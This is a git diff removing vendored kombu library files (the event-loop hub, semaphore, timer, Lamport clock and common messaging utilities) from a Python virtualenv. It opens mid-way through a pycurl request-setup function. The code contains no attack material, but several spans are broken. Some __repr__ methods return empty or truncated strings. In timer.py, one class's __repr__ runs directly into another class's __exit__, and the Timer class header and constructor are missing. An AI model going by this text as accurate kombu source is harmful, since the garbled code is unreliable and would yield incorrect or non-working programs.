setopt( - _pycurl.FOLLOWLOCATION, request.follow_redirects, - ) - setopt( - _pycurl.USERAGENT, - bytes_to_str(request.user_agent or DEFAULT_USER_AGENT), - ) - if request.network_interface: - setopt(_pycurl.INTERFACE, request.network_interface) - setopt( - _pycurl.ENCODING, 'gzip,deflate' if request.use_gzip else 'none', - ) - if request.proxy_host: - if not request.proxy_port: - raise ValueError('Request with proxy_host but no proxy_port') - setopt(_pycurl.PROXY, request.proxy_host) - setopt(_pycurl.PROXYPORT, request.proxy_port) - if request.proxy_username: - setopt(_pycurl.PROXYUSERPWD, '{}:{}'.format( - request.proxy_username, request.proxy_password or '')) - - setopt(_pycurl.SSL_VERIFYPEER, 1 if request.validate_cert else 0) - setopt(_pycurl.SSL_VERIFYHOST, 2 if request.validate_cert else 0) - if request.ca_certs is not None: - setopt(_pycurl.CAINFO, request.ca_certs) - - setopt(_pycurl.IPRESOLVE, pycurl.IPRESOLVE_WHATEVER) - - for meth in METH_TO_CURL.values(): - setopt(meth, False) - try: - meth = METH_TO_CURL[request.method] - except KeyError: - curl.setopt(_pycurl.CUSTOMREQUEST, request.method) - else: - curl.unsetopt(_pycurl.CUSTOMREQUEST) - setopt(meth, True) - - if request.method in ('POST', 'PUT'): - if not request.body: - body = b'' - else: - body = request.body if isinstance(request.body, bytes) else request.body.encode('utf-8') - - reqbuffer = BytesIO(body) - setopt(_pycurl.READFUNCTION, reqbuffer.read) - if request.method == 'POST': - - def ioctl(cmd): - if cmd == _pycurl.IOCMD_RESTARTREAD: - reqbuffer.seek(0) - setopt(_pycurl.IOCTLFUNCTION, ioctl) - setopt(_pycurl.POSTFIELDSIZE, len(body)) - else: - setopt(_pycurl.INFILESIZE, len(body)) - elif request.method == 'GET': - assert not request.body - - if request.auth_username is not None: - auth_mode = { - 'basic': _pycurl.HTTPAUTH_BASIC, - 'digest': _pycurl.HTTPAUTH_DIGEST - }[request.auth_mode or 'basic'] - setopt(_pycurl.HTTPAUTH, auth_mode) - userpwd = '{}:{}'.format( - request.auth_username, request.auth_password or '', - ) - setopt(_pycurl.USERPWD, userpwd) - else: - curl.unsetopt(_pycurl.USERPWD) - - if request.client_cert is not None: - setopt(_pycurl.SSLCERT, request.client_cert) - if request.client_key is not None: - setopt(_pycurl.SSLKEY, request.client_key) - - if request.on_prepare is not None: - request.on_prepare(curl) diff --git a/venv/Lib/site-packages/kombu/asynchronous/hub.py b/venv/Lib/site-packages/kombu/asynchronous/hub.py deleted file mode 100644 index 6c43630da29ece1b4621a545b4a6ff4108361356..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/asynchronous/hub.py +++ /dev/null @@ -1,403 +0,0 @@ -"""Event loop implementation.""" - -from __future__ import annotations - -import errno -import threading -from contextlib import contextmanager -from copy import copy -from queue import Empty -from time import sleep -from types import GeneratorType as generator - -from vine import Thenable, promise - -from kombu.log import get_logger -from kombu.utils.compat import fileno -from kombu.utils.eventio import ERR, READ, WRITE, poll -from kombu.utils.objects import cached_property - -from .timer import Timer - -__all__ = ('Hub', 'get_event_loop', 'set_event_loop') -logger = get_logger(__name__) - -_current_loop: Hub | None = None - -W_UNKNOWN_EVENT = """\ -Received unknown event %r for fd %r, please contact support!\ -""" - - -class Stop(BaseException): - """Stops the event loop.""" - - -def _raise_stop_error(): - raise Stop() - - -@contextmanager -def _dummy_context(*args, **kwargs): - yield - - -def get_event_loop() -> Hub | None: - """Get current event loop object.""" - return _current_loop - - -def set_event_loop(loop: Hub | None) -> Hub | None: - """Set the current event loop object.""" - global _current_loop - _current_loop = loop - return loop - - -class Hub: - """Event loop object. - - Arguments: - --------- - timer (kombu.asynchronous.Timer): Specify custom timer instance. - """ - - #: Flag set if reading from an fd will not block. - READ = READ - - #: Flag set if writing to an fd will not block. - WRITE = WRITE - - #: Flag set on error, and the fd should be read from asap. - ERR = ERR - - #: List of callbacks to be called when the loop is exiting, - #: applied with the hub instance as sole argument. - on_close = None - - def __init__(self, timer=None): - self.timer = timer if timer is not None else Timer() - - self.readers = {} - self.writers = {} - self.on_tick = set() - self.on_close = set() - self._ready = set() - self._ready_lock = threading.Lock() - - self._running = False - self._loop = None - - # The eventloop (in celery.worker.loops) - # will merge fds in this set and then instead of calling - # the callback for each ready fd it will call the - # :attr:`consolidate_callback` with the list of ready_fds - # as an argument. This API is internal and is only - # used by the multiprocessing pool to find inqueues - # that are ready to write. - self.consolidate = set() - self.consolidate_callback = None - - self.propagate_errors = () - - self._create_poller() - - @property - def poller(self): - if not self._poller: - self._create_poller() - return self._poller - - @poller.setter - def poller(self, value): - self._poller = value - - def reset(self): - self.close() - self._create_poller() - - def _create_poller(self): - self._poller = poll() - self._register_fd = self._poller.register - self._unregister_fd = self._poller.unregister - - def _close_poller(self): - if self._poller is not None: - self._poller.close() - self._poller = None - self._register_fd = None - self._unregister_fd = None - - def stop(self): - self.call_soon(_raise_stop_error) - - def __repr__(self): - return ''.format( - id(self), len(self.readers), len(self.writers), - ) - - def fire_timers(self, min_delay=1, max_delay=10, max_timers=10, - propagate=()): - timer = self.timer - delay = None - if timer and timer._queue: - for i in range(max_timers): - delay, entry = next(self.scheduler) - if entry is None: - break - try: - entry() - except propagate: - raise - except (MemoryError, AssertionError): - raise - except OSError as exc: - if exc.errno == errno.ENOMEM: - raise - logger.error('Error in timer: %r', exc, exc_info=1) - except Exception as exc: - logger.error('Error in timer: %r', exc, exc_info=1) - return min(delay or min_delay, max_delay) - - def _remove_from_loop(self, fd): - try: - self._unregister(fd) - finally: - self._discard(fd) - - def add(self, fd, callback, flags, args=(), consolidate=False): - fd = fileno(fd) - try: - self.poller.register(fd, flags) - except ValueError: - self._remove_from_loop(fd) - raise - else: - dest = self.readers if flags & READ else self.writers - if consolidate: - self.consolidate.add(fd) - dest[fd] = None - else: - dest[fd] = callback, args - - def remove(self, fd): - fd = fileno(fd) - self._remove_from_loop(fd) - - def run_forever(self): - self._running = True - try: - while 1: - try: - self.run_once() - except Stop: - break - finally: - self._running = False - - def run_once(self): - try: - next(self.loop) - except StopIteration: - self._loop = None - - def call_soon(self, callback, *args): - if not isinstance(callback, Thenable): - callback = promise(callback, args) - with self._ready_lock: - self._ready.add(callback) - return callback - - def call_later(self, delay, callback, *args): - return self.timer.call_after(delay, callback, args) - - def call_at(self, when, callback, *args): - return self.timer.call_at(when, callback, args) - - def call_repeatedly(self, delay, callback, *args): - return self.timer.call_repeatedly(delay, callback, args) - - def add_reader(self, fds, callback, *args): - return self.add(fds, callback, READ | ERR, args) - - def add_writer(self, fds, callback, *args): - return self.add(fds, callback, WRITE, args) - - def remove_reader(self, fd): - writable = fd in self.writers - on_write = self.writers.get(fd) - try: - self._remove_from_loop(fd) - finally: - if writable: - cb, args = on_write - self.add(fd, cb, WRITE, args) - - def remove_writer(self, fd): - readable = fd in self.readers - on_read = self.readers.get(fd) - try: - self._remove_from_loop(fd) - finally: - if readable: - cb, args = on_read - self.add(fd, cb, READ | ERR, args) - - def _unregister(self, fd): - try: - self.poller.unregister(fd) - except (AttributeError, KeyError, OSError): - pass - - def _pop_ready(self): - with self._ready_lock: - ready = self._ready - self._ready = set() - return ready - - def close(self, *args): - [self._unregister(fd) for fd in self.readers] - self.readers.clear() - [self._unregister(fd) for fd in self.writers] - self.writers.clear() - self.consolidate.clear() - self._close_poller() - for callback in self.on_close: - callback(self) - - # Complete remaining todo before Hub close - # Eg: Acknowledge message - # To avoid infinite loop where one of the callables adds items - # to self._ready (via call_soon or otherwise). - # we create new list with current self._ready - todos = self._pop_ready() - for item in todos: - item() - - # Clear global event loop variable if this hub is the current loop - if _current_loop is self: - set_event_loop(None) - - def _discard(self, fd): - fd = fileno(fd) - self.readers.pop(fd, None) - self.writers.pop(fd, None) - self.consolidate.discard(fd) - - def on_callback_error(self, callback, exc): - logger.error( - 'Callback %r raised exception: %r', callback, exc, exc_info=1, - ) - - def create_loop(self, - generator=generator, sleep=sleep, min=min, next=next, - Empty=Empty, StopIteration=StopIteration, - KeyError=KeyError, READ=READ, WRITE=WRITE, ERR=ERR): - readers, writers = self.readers, self.writers - poll = self.poller.poll - fire_timers = self.fire_timers - hub_remove = self.remove - scheduled = self.timer._queue - consolidate = self.consolidate - consolidate_callback = self.consolidate_callback - propagate = self.propagate_errors - - while 1: - todo = self._pop_ready() - - for item in todo: - if item: - item() - - poll_timeout = fire_timers(propagate=propagate) if scheduled else 1 - - for tick_callback in copy(self.on_tick): - tick_callback() - - # print('[[[HUB]]]: %s' % (self.repr_active(),)) - if readers or writers: - to_consolidate = [] - try: - events = poll(poll_timeout) - # print('[EVENTS]: %s' % (self.repr_events(events),)) - except ValueError: # Issue celery/#882 - return - - for fd, event in events or (): - general_error = False - if fd in consolidate and \ - writers.get(fd) is None: - to_consolidate.append(fd) - continue - cb = cbargs = None - - if event & READ: - try: - cb, cbargs = readers[fd] - except KeyError: - self.remove_reader(fd) - continue - elif event & WRITE: - try: - cb, cbargs = writers[fd] - except KeyError: - self.remove_writer(fd) - continue - elif event & ERR: - general_error = True - else: - logger.info(W_UNKNOWN_EVENT, event, fd) - general_error = True - - if general_error: - try: - cb, cbargs = (readers.get(fd) or - writers.get(fd)) - except TypeError: - pass - - if cb is None: - self.remove(fd) - continue - - if isinstance(cb, generator): - try: - next(cb) - except OSError as exc: - if exc.errno != errno.EBADF: - raise - hub_remove(fd) - except StopIteration: - pass - except Exception: - hub_remove(fd) - raise - else: - try: - cb(*cbargs) - except Empty: - pass - if to_consolidate: - consolidate_callback(to_consolidate) - else: - # no sockets yet, startup is probably not done. - sleep(min(poll_timeout, 0.1)) - yield - - def repr_active(self): - from .debug import repr_active - return repr_active(self) - - def repr_events(self, events): - from .debug import repr_events - return repr_events(self, events or []) - - @cached_property - def scheduler(self): - return iter(self.timer) - - @property - def loop(self): - if self._loop is None: - self._loop = self.create_loop() - return self._loop diff --git a/venv/Lib/site-packages/kombu/asynchronous/semaphore.py b/venv/Lib/site-packages/kombu/asynchronous/semaphore.py deleted file mode 100644 index 2936459e64a59e08d804e449605477b95ff20743..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/asynchronous/semaphore.py +++ /dev/null @@ -1,127 +0,0 @@ -"""Semaphores and concurrency primitives.""" -from __future__ import annotations - -import sys -from collections import deque -from typing import TYPE_CHECKING - -if TYPE_CHECKING: - from types import TracebackType - from typing import Callable, Deque - if sys.version_info < (3, 10): - from typing_extensions import ParamSpec - else: - from typing import ParamSpec - - P = ParamSpec("P") - -__all__ = ('DummyLock', 'LaxBoundedSemaphore') - - -class LaxBoundedSemaphore: - """Asynchronous Bounded Semaphore. - - Lax means that the value will stay within the specified - range even if released more times than it was acquired. - - Example: - ------- - >>> x = LaxBoundedSemaphore(2) - - >>> x.acquire(print, 'HELLO 1') - HELLO 1 - - >>> x.acquire(print, 'HELLO 2') - HELLO 2 - - >>> x.acquire(print, 'HELLO 3') - >>> x._waiters # private, do not access directly - [print, ('HELLO 3',)] - - >>> x.release() - HELLO 3 - """ - - def __init__(self, value: int) -> None: - self.initial_value = self.value = value - self._waiting: Deque[tuple] = deque() - self._add_waiter = self._waiting.append - self._pop_waiter = self._waiting.popleft - - def acquire( - self, - callback: Callable[P, None], - *partial_args: P.args, - **partial_kwargs: P.kwargs - ) -> bool: - """Acquire semaphore. - - This will immediately apply ``callback`` if - the resource is available, otherwise the callback is suspended - until the semaphore is released. - - Arguments: - --------- - callback (Callable): The callback to apply. - *partial_args (Any): partial arguments to callback. - """ - value = self.value - if value <= 0: - self._add_waiter((callback, partial_args, partial_kwargs)) - return False - else: - self.value = max(value - 1, 0) - callback(*partial_args, **partial_kwargs) - return True - - def release(self) -> None: - """Release semaphore. - - Note: - ---- - If there are any waiters this will apply the first waiter - that is waiting for the resource (FIFO order). - """ - try: - waiter, args, kwargs = self._pop_waiter() - except IndexError: - self.value = min(self.value + 1, self.initial_value) - else: - waiter(*args, **kwargs) - - def grow(self, n: int = 1) -> None: - """Change the size of the semaphore to accept more users.""" - self.initial_value += n - self.value += n - for _ in range(n): - self.release() - - def shrink(self, n: int = 1) -> None: - """Change the size of the semaphore to accept less users.""" - self.initial_value = max(self.initial_value - n, 0) - self.value = max(self.value - n, 0) - - def clear(self) -> None: - """Reset the semaphore, which also wipes out any waiting callbacks.""" - self._waiting.clear() - self.value = self.initial_value - - def __repr__(self) -> str: - return '<{} at {:#x} value:{} waiting:{}>'.format( - self.__class__.__name__, id(self), self.value, len(self._waiting), - ) - - -class DummyLock: - """Pretending to be a lock.""" - - def __enter__(self) -> DummyLock: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None - ) -> None: - pass diff --git a/venv/Lib/site-packages/kombu/asynchronous/timer.py b/venv/Lib/site-packages/kombu/asynchronous/timer.py deleted file mode 100644 index a58b4ce03b16c437efc632c0e42033daf5769bcd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/asynchronous/timer.py +++ /dev/null @@ -1,241 +0,0 @@ -"""Timer scheduling Python callbacks.""" - -from __future__ import annotations - -import heapq -import sys -from collections import namedtuple -from datetime import datetime -from functools import total_ordering -from time import monotonic -from time import time as _time -from typing import TYPE_CHECKING -from weakref import proxy as weakrefproxy - -from vine.utils import wraps - -from kombu.log import get_logger - -if sys.version_info >= (3, 9): - from zoneinfo import ZoneInfo -else: - from backports.zoneinfo import ZoneInfo - -if TYPE_CHECKING: - from types import TracebackType - -__all__ = ('Entry', 'Timer', 'to_timestamp') - -logger = get_logger(__name__) - -DEFAULT_MAX_INTERVAL = 2 -EPOCH = datetime.fromtimestamp(0, ZoneInfo("UTC")) -IS_PYPY = hasattr(sys, 'pypy_version_info') - -scheduled = namedtuple('scheduled', ('eta', 'priority', 'entry')) - - -def to_timestamp(d, default_timezone=ZoneInfo("UTC"), time=monotonic): - """Convert datetime to timestamp. - - If d' is already a timestamp, then that will be used. - """ - if isinstance(d, datetime): - if d.tzinfo is None: - d = d.replace(tzinfo=default_timezone) - diff = _time() - time() - return max((d - EPOCH).total_seconds() - diff, 0) - return d - - -@total_ordering -class Entry: - """Schedule Entry.""" - - if not IS_PYPY: # pragma: no cover - __slots__ = ( - 'fun', 'args', 'kwargs', 'tref', 'canceled', - '_last_run', '__weakref__', - ) - - def __init__(self, fun, args=None, kwargs=None): - self.fun = fun - self.args = args or [] - self.kwargs = kwargs or {} - self.tref = weakrefproxy(self) - self._last_run = None - self.canceled = False - - def __call__(self): - return self.fun(*self.args, **self.kwargs) - - def cancel(self): - try: - self.tref.canceled = True - except ReferenceError: # pragma: no cover - pass - - def __repr__(self): - return ' None: - self.stop() - - def call_at(self, eta, fun, args=(), kwargs=None, priority=0): - kwargs = {} if not kwargs else kwargs - return self.enter_at(self.Entry(fun, args, kwargs), eta, priority) - - def call_after(self, secs, fun, args=(), kwargs=None, priority=0): - kwargs = {} if not kwargs else kwargs - return self.enter_after(secs, self.Entry(fun, args, kwargs), priority) - - def call_repeatedly(self, secs, fun, args=(), kwargs=None, priority=0): - kwargs = {} if not kwargs else kwargs - tref = self.Entry(fun, args, kwargs) - - @wraps(fun) - def _reschedules(*args, **kwargs): - last, now = tref._last_run, monotonic() - lsince = (now - tref._last_run) if last else secs - try: - if lsince and lsince >= secs: - tref._last_run = now - return fun(*args, **kwargs) - finally: - if not tref.canceled: - last = tref._last_run - next = secs - (now - last) if last else secs - self.enter_after(next, tref, priority) - - tref.fun = _reschedules - tref._last_run = None - return self.enter_after(secs, tref, priority) - - def enter_at(self, entry, eta=None, priority=0, time=monotonic): - """Enter function into the scheduler. - - Arguments: - --------- - entry (~kombu.asynchronous.timer.Entry): Item to enter. - eta (datetime.datetime): Scheduled time. - priority (int): Unused. - """ - if eta is None: - eta = time() - if isinstance(eta, datetime): - try: - eta = to_timestamp(eta) - except Exception as exc: - if not self.handle_error(exc): - raise - return - return self._enter(eta, priority, entry) - - def enter_after(self, secs, entry, priority=0, time=monotonic): - return self.enter_at(entry, time() + float(secs), priority) - - def _enter(self, eta, priority, entry, push=heapq.heappush): - push(self._queue, scheduled(eta, priority, entry)) - return entry - - def apply_entry(self, entry): - try: - entry() - except Exception as exc: - if not self.handle_error(exc): - logger.error('Error in timer: %r', exc, exc_info=True) - - def handle_error(self, exc_info): - if self.on_error: - self.on_error(exc_info) - return True - - def stop(self): - pass - - def __iter__(self, min=min, nowfun=monotonic, - pop=heapq.heappop, push=heapq.heappush): - """Iterate over schedule. - - This iterator yields a tuple of ``(wait_seconds, entry)``, - where if entry is :const:`None` the caller should wait - for ``wait_seconds`` until it polls the schedule again. - """ - max_interval = self.max_interval - queue = self._queue - - while 1: - if queue: - eventA = queue[0] - now, eta = nowfun(), eventA[0] - - if now < eta: - yield min(eta - now, max_interval), None - else: - eventB = pop(queue) - - if eventB is eventA: - entry = eventA[2] - if not entry.canceled: - yield None, entry - continue - else: - push(queue, eventB) - else: - yield None, None - - def clear(self): - self._queue[:] = [] # atomic, without creating a new list. - - def cancel(self, tref): - tref.cancel() - - def __len__(self): - return len(self._queue) - - def __nonzero__(self): - return True - - @property - def queue(self, _pop=heapq.heappop): - """Snapshot of underlying datastructure.""" - events = list(self._queue) - return [_pop(v) for v in [events] * len(events)] - - @property - def schedule(self): - return self diff --git a/venv/Lib/site-packages/kombu/clocks.py b/venv/Lib/site-packages/kombu/clocks.py deleted file mode 100644 index b5ab0866966f9f59d7148789ee091ead2dc2466c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/clocks.py +++ /dev/null @@ -1,156 +0,0 @@ -"""Logical Clocks and Synchronization.""" - -from __future__ import annotations - -from itertools import islice -from operator import itemgetter -from threading import Lock -from typing import Any - -__all__ = ('LamportClock', 'timetuple') - -R_CLOCK = '_lamport(clock={0}, timestamp={1}, id={2} {3!r})' - - -class timetuple(tuple): - """Tuple of event clock information. - - Can be used as part of a heap to keep events ordered. - - Arguments: - --------- - clock (Optional[int]): Event clock value. - timestamp (float): Event UNIX timestamp value. - id (str): Event host id (e.g. ``hostname:pid``). - obj (Any): Optional obj to associate with this event. - """ - - __slots__ = () - - def __new__( - cls, clock: int | None, timestamp: float, id: str, obj: Any = None - ) -> timetuple: - return tuple.__new__(cls, (clock, timestamp, id, obj)) - - def __repr__(self) -> str: - return R_CLOCK.format(*self) - - def __getnewargs__(self) -> tuple: - return tuple(self) - - def __lt__(self, other: tuple) -> bool: - # 0: clock 1: timestamp 3: process id - try: - A, B = self[0], other[0] - # uses logical clock value first - if A and B: # use logical clock if available - if A == B: # equal clocks use lower process id - return self[2] < other[2] - return A < B - return self[1] < other[1] # ... or use timestamp - except IndexError: - return NotImplemented - - def __gt__(self, other: tuple) -> bool: - return other < self - - def __le__(self, other: tuple) -> bool: - return not other < self - - def __ge__(self, other: tuple) -> bool: - return not self < other - - clock = property(itemgetter(0)) - timestamp = property(itemgetter(1)) - id = property(itemgetter(2)) - obj = property(itemgetter(3)) - - -class LamportClock: - """Lamport's logical clock. - - From Wikipedia: - - A Lamport logical clock is a monotonically incrementing software counter - maintained in each process. It follows some simple rules: - - * A process increments its counter before each event in that process; - * When a process sends a message, it includes its counter value with - the message; - * On receiving a message, the receiver process sets its counter to be - greater than the maximum of its own value and the received value - before it considers the message received. - - Conceptually, this logical clock can be thought of as a clock that only - has meaning in relation to messages moving between processes. When a - process receives a message, it resynchronizes its logical clock with - the sender. - - See Also - -------- - * `Lamport timestamps`_ - - * `Lamports distributed mutex`_ - - .. _`Lamport Timestamps`: https://en.wikipedia.org/wiki/Lamport_timestamps - .. _`Lamports distributed mutex`: https://bit.ly/p99ybE - - *Usage* - - When sending a message use :meth:`forward` to increment the clock, - when receiving a message use :meth:`adjust` to sync with - the time stamp of the incoming message. - - """ - - #: The clocks current value. - value = 0 - - def __init__( - self, initial_value: int = 0, Lock: type[Lock] = Lock - ) -> None: - self.value = initial_value - self.mutex = Lock() - - def adjust(self, other: int) -> int: - with self.mutex: - value = self.value = max(self.value, other) + 1 - return value - - def forward(self) -> int: - with self.mutex: - self.value += 1 - return self.value - - def sort_heap(self, h: list[tuple[int, str]]) -> tuple[int, str]: - """Sort heap of events. - - List of tuples containing at least two elements, representing - an event, where the first element is the event's scalar clock value, - and the second element is the id of the process (usually - ``"hostname:pid"``): ``sh([(clock, processid, ...?), (...)])`` - - The list must already be sorted, which is why we refer to it as a - heap. - - The tuple will not be unpacked, so more than two elements can be - present. - - Will return the latest event. - """ - if h[0][0] == h[1][0]: - same = [] - for PN in zip(h, islice(h, 1, None)): - if PN[0][0] != PN[1][0]: - break # Prev and Next's clocks differ - same.append(PN[0]) - # return first item sorted by process id - return sorted(same, key=lambda event: event[1])[0] - # clock values unique, return first item - return h[0] - - def __str__(self) -> str: - return str(self.value) - - def __repr__(self) -> str: - return f'' diff --git a/venv/Lib/site-packages/kombu/common.py b/venv/Lib/site-packages/kombu/common.py deleted file mode 100644 index c5623de9aa70de9cd72fa92e99675c8b963daf2e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/common.py +++ /dev/null @@ -1,456 +0,0 @@ -"""Common Utilities.""" - -from __future__ import annotations - -import os -import socket -import threading -from collections import deque -from contextlib import contextmanager -from functools import partial -from itertools import count -from uuid import NAMESPACE_OID, uuid3, uuid4, uuid5 - -from amqp import ChannelError, RecoverableConnectionError - -from .entity import Exchange, Queue -from .log import get_logger -from .serialization import registry as serializers -from .utils.uuid import uuid - -__all__ = ('Broadcast', 'maybe_declare', 'uuid', - 'itermessages', 'send_reply', - 'collect_replies', 'insured', 'drain_consumer', - 'eventloop') - -#: Prefetch count can't exceed short. -PREFETCH_COUNT_MAX = 0xFFFF - -logger = get_logger(__name__) - -_node_id = None - - -def get_node_id(): - global _node_id - if _node_id is None: - _node_id = uuid4().int - return _node_id - - -def generate_oid(node_id, process_id, thread_id, instance): - ent = '{:x}-{:x}-{:x}-{:x}'.format( - node_id, process_id, thread_id, id(instance)) - try: - ret = str(uuid3(NAMESPACE_OID, ent)) - except ValueError: - ret = str(uuid5(NAMESPACE_OID, ent)) - return ret - - -def oid_from(instance, threads=True): - return generate_oid( - get_node_id(), - os.getpid(), - threading.get_ident() if threads else 0, - instance, - ) - - -class Broadcast(Queue): - """Broadcast queue. - - Convenience class used to define broadcast queues. - - Every queue instance will have a unique name, - and both the queue and exchange is configured with auto deletion. - - Arguments: - --------- - name (str): This is used as the name of the exchange. - queue (str): By default a unique id is used for the queue - name for every consumer. You can specify a custom - queue name here. - unique (bool): Always create a unique queue - even if a queue name is supplied. - **kwargs (Any): See :class:`~kombu.Queue` for a list - of additional keyword arguments supported. - """ - - attrs = Queue.attrs + (('queue', None),) - - def __init__(self, - name=None, - queue=None, - unique=False, - auto_delete=True, - exchange=None, - alias=None, - **kwargs): - if unique: - queue = '{}.{}'.format(queue or 'bcast', uuid()) - else: - queue = queue or f'bcast.{uuid()}' - super().__init__( - alias=alias or name, - queue=queue, - name=queue, - auto_delete=auto_delete, - exchange=(exchange if exchange is not None - else Exchange(name, type='fanout')), - **kwargs - ) - - -def declaration_cached(entity, channel): - return entity in channel.connection.client.declared_entities - - -def maybe_declare(entity, channel=None, retry=False, **retry_policy): - """Declare entity (cached).""" - if retry: - return _imaybe_declare(entity, channel, **retry_policy) - return _maybe_declare(entity, channel) - - -def _ensure_channel_is_bound(entity, channel): - """Make sure the channel is bound to the entity. - - :param entity: generic kombu nomenclature, generally an exchange or queue - :param channel: channel to bind to the entity - :return: the updated entity - """ - is_bound = entity.is_bound - if not is_bound: - if not channel: - raise ChannelError( - f"Cannot bind channel {channel} to entity {entity}") - entity = entity.bind(channel) - return entity - - -def _maybe_declare(entity, channel): - # _maybe_declare sets name on original for autogen queues - orig = entity - - _ensure_channel_is_bound(entity, channel) - - if channel is None or channel.connection is None: - # If this was called from the `ensure()` method then the channel could have been invalidated - # and the correct channel was re-bound to the entity by calling the `entity.revive()` method. - if not entity.is_bound: - raise ChannelError( - f"channel is None and entity {entity} not bound.") - channel = entity.channel - - declared = ident = None - if channel.connection and entity.can_cache_declaration: - declared = channel.connection.client.declared_entities - ident = hash(entity) - if ident in declared: - return False - - if not channel.connection: - raise RecoverableConnectionError('channel disconnected') - entity.declare(channel=channel) - if declared is not None and ident: - declared.add(ident) - if orig is not None: - orig.name = entity.name - return True - - -def _imaybe_declare(entity, channel, **retry_policy): - entity = _ensure_channel_is_bound(entity, channel) - - if not entity.channel.connection: - raise RecoverableConnectionError('channel disconnected') - - return entity.channel.connection.client.ensure( - entity, _maybe_declare, **retry_policy)(entity, channel) - - -def drain_consumer(consumer, limit=1, timeout=None, callbacks=None): - """Drain messages from consumer instance.""" - acc = deque() - - def on_message(body, message): - acc.append((body, message)) - - consumer.callbacks = [on_message] + (callbacks or []) - - with consumer: - for _ in eventloop(consumer.channel.connection.client, - limit=limit, timeout=timeout, ignore_timeouts=True): - try: - yield acc.popleft() - except IndexError: - pass - - -def itermessages(conn, channel, queue, limit=1, timeout=None, - callbacks=None, **kwargs): - """Iterator over messages.""" - return drain_consumer( - conn.Consumer(queues=[queue], channel=channel, **kwargs), - limit=limit, timeout=timeout, callbacks=callbacks, - ) - - -def eventloop(conn, limit=None, timeout=None, ignore_timeouts=False): - """Best practice generator wrapper around ``Connection.drain_events``. - - Able to drain events forever, with a limit, and optionally ignoring - timeout errors (a timeout of 1 is often used in environments where - the socket can get "stuck", and is a best practice for Kombu consumers). - - ``eventloop`` is a generator. - - Examples - -------- - >>> from kombu.common import eventloop - - >>> def run(conn): - ... it = eventloop(conn, timeout=1, ignore_timeouts=True) - ... next(it) # one event consumed, or timed out. - ... - ... for _ in eventloop(conn, timeout=1, ignore_timeouts=True): - ... pass # loop forever. - - It also takes an optional limit parameter, and timeout errors - are propagated by default:: - - for _ in eventloop(connection, limit=1, timeout=1): - pass - - See Also - -------- - :func:`itermessages`, which is an event loop bound to one or more - consumers, that yields any messages received. - """ - for i in limit and range(limit) or count(): - try: - yield conn.drain_events(timeout=timeout) - except socket.timeout: - if timeout and not ignore_timeouts: # pragma: no cover - raise - - -def send_reply(exchange, req, msg, - producer=None, retry=False, retry_policy=None, **props): - """Send reply for request. - - Arguments: - --------- - exchange (kombu.Exchange, str): Reply exchange - req (~kombu.Message): Original request, a message with - a ``reply_to`` property. - producer (kombu.Producer): Producer instance - retry (bool): If true must retry according to - the ``reply_policy`` argument. - retry_policy (Dict): Retry settings. - **props (Any): Extra properties. - """ - return producer.publish( - msg, exchange=exchange, - retry=retry, retry_policy=retry_policy, - **dict({'routing_key': req.properties['reply_to'], - 'correlation_id': req.properties.get('correlation_id'), - 'serializer': serializers.type_to_name[req.content_type], - 'content_encoding': req.content_encoding}, **props) - ) - - -def collect_replies(conn, channel, queue, *args, **kwargs): - """Generator collecting replies from ``queue``.""" - no_ack = kwargs.setdefault('no_ack', True) - received = False - try: - for body, message in itermessages(conn, channel, queue, - *args, **kwargs): - if not no_ack: - message.ack() - received = True - yield body - finally: - if received: - channel.after_reply_message_received(queue.name) - - -def _ensure_errback(exc, interval): - logger.error( - 'Connection error: %r. Retry in %ss\n', exc, interval, - exc_info=True, - ) - - -@contextmanager -def _ignore_errors(conn): - try: - yield - except conn.connection_errors + conn.channel_errors: - pass - - -def ignore_errors(conn, fun=None, *args, **kwargs): - """Ignore connection and channel errors. - - The first argument must be a connection object, or any other object - with ``connection_error`` and ``channel_error`` attributes. - - Can be used as a function: - - .. code-block:: python - - def example(connection): - ignore_errors(connection, consumer.channel.close) - - or as a context manager: - - .. code-block:: python - - def example(connection): - with ignore_errors(connection): - consumer.channel.close() - - - Note: - ---- - Connection and channel errors should be properly handled, - and not ignored. Using this function is only acceptable in a cleanup - phase, like when a connection is lost or at shutdown. - """ - if fun: - with _ignore_errors(conn): - return fun(*args, **kwargs) - return _ignore_errors(conn) - - -def revive_connection(connection, channel, on_revive=None): - if on_revive: - on_revive(channel) - - -def insured(pool, fun, args, kwargs, errback=None, on_revive=None, **opts): - """Function wrapper to handle connection errors. - - Ensures function performing broker commands completes - despite intermittent connection failures. - """ - errback = errback or _ensure_errback - - with pool.acquire(block=True) as conn: - conn.ensure_connection(errback=errback) - # we cache the channel for subsequent calls, this has to be - # reset on revival. - channel = conn.default_channel - revive = partial(revive_connection, conn, on_revive=on_revive) - insured = conn.autoretry(fun, channel, errback=errback, - on_revive=revive, **opts) - retval, _ = insured(*args, **dict(kwargs, connection=conn)) - return retval - - -class QoS: - """Thread safe increment/decrement of a channels prefetch_count. - - Arguments: - --------- - callback (Callable): Function used to set new prefetch count, - e.g. ``consumer.qos`` or ``channel.basic_qos``. Will be called - with a single ``prefetch_count`` keyword argument. - initial_value (int): Initial prefetch count value.. - max_prefetch (int or None): Maximum allowed prefetch count. If specified - as an integer, increment_eventually will not allow the value to exceed this limit. - If None (the default), there is no upper limit on the prefetch count. - - Example: - ------- - >>> from kombu import Consumer, Connection - >>> connection = Connection('amqp://') - >>> consumer = Consumer(connection) - >>> qos = QoS(consumer.qos, initial_prefetch_count=2) - >>> qos.update() # set initial - - >>> qos.value - 2 - - >>> def in_some_thread(): - ... qos.increment_eventually() - - >>> def in_some_other_thread(): - ... qos.decrement_eventually() - - >>> while 1: - ... if qos.prev != qos.value: - ... qos.update() # prefetch changed so update. - - It can be used with any function supporting a ``prefetch_count`` keyword - argument:: - - >>> channel = connection.channel() - >>> QoS(channel.basic_qos, 10) - - - >>> def set_qos(prefetch_count): - ... print('prefetch count now: %r' % (prefetch_count,)) - >>> QoS(set_qos, 10) - """ - - prev = None - - def __init__(self, callback, initial_value, max_prefetch=None): - self.callback = callback - self._mutex = threading.RLock() - self.value = initial_value or 0 - self.max_prefetch = max_prefetch - - def increment_eventually(self, n=1): - """Increment the value, but do not update the channels QoS. - - Note: - ---- 